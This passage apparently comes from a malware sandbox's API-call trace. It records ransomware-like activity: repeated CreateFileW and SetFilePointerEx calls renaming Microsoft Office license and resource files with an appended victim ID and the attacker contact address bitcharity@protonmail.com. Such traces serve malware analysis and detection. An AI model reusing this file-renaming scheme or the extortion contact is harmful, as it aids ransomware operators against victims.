liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.691] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.692] CloseHandle (hObject=0x1280) returned 1 [0253.692] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.693] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.693] CloseHandle (hObject=0x1280) returned 1 [0253.694] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.694] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.694] CloseHandle (hObject=0x1280) returned 1 [0253.695] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.695] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.695] CloseHandle (hObject=0x1280) returned 1 [0253.697] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.697] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.697] CloseHandle (hObject=0x1280) returned 1 [0253.698] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.698] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.698] CloseHandle (hObject=0x1280) returned 1 [0253.699] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.700] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.700] CloseHandle (hObject=0x1280) returned 1 [0253.701] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.701] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.702] CloseHandle (hObject=0x1280) returned 1 [0253.703] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.703] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.703] CloseHandle (hObject=0x1280) returned 1 [0253.704] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.704] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.705] CloseHandle (hObject=0x1280) returned 1 [0253.706] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.706] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.706] CloseHandle (hObject=0x1280) returned 1 [0253.707] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.707] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.708] CloseHandle (hObject=0x1280) returned 1 [0253.709] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.709] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.709] CloseHandle (hObject=0x1280) returned 1 [0253.710] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.710] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.711] CloseHandle (hObject=0x1280) returned 1 [0253.712] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.712] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.713] CloseHandle (hObject=0x1280) returned 1 [0253.714] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.714] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.714] CloseHandle (hObject=0x1280) returned 1 [0253.715] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.715] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.715] CloseHandle (hObject=0x1280) returned 1 [0253.716] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.716] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.717] CloseHandle (hObject=0x1280) returned 1 [0253.717] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.718] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.718] CloseHandle (hObject=0x1280) returned 1 [0253.719] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.719] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.719] CloseHandle (hObject=0x1280) returned 1 [0253.720] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.721] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.721] CloseHandle (hObject=0x1280) returned 1 [0253.722] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.722] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.722] CloseHandle (hObject=0x1280) returned 1 [0253.723] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.723] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.724] CloseHandle (hObject=0x1280) returned 1 [0253.725] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.725] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.725] CloseHandle (hObject=0x1280) returned 1 [0253.726] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.726] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.726] CloseHandle (hObject=0x1280) returned 1 [0253.727] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.727] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.944] CloseHandle (hObject=0x1280) returned 1 [0254.036] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.036] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\branding.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\branding.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.036] CloseHandle (hObject=0x1234) returned 1 [0254.037] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.037] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemui.msi.16_PostCommon.Office.MUI.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemui.msi.16_postcommon.office.mui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.038] CloseHandle (hObject=0x1234) returned 1 [0254.039] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.039] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\officemuiset.msi.16_officemuiset.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.039] CloseHandle (hObject=0x1234) returned 1 [0254.040] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.040] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\onenotemui.msi.16_onenotemui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.041] CloseHandle (hObject=0x1234) returned 1 [0254.042] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.042] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmmui.msi.16_osmmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.042] CloseHandle (hObject=0x1234) returned 1 [0254.043] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.043] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.043] CreateFileW 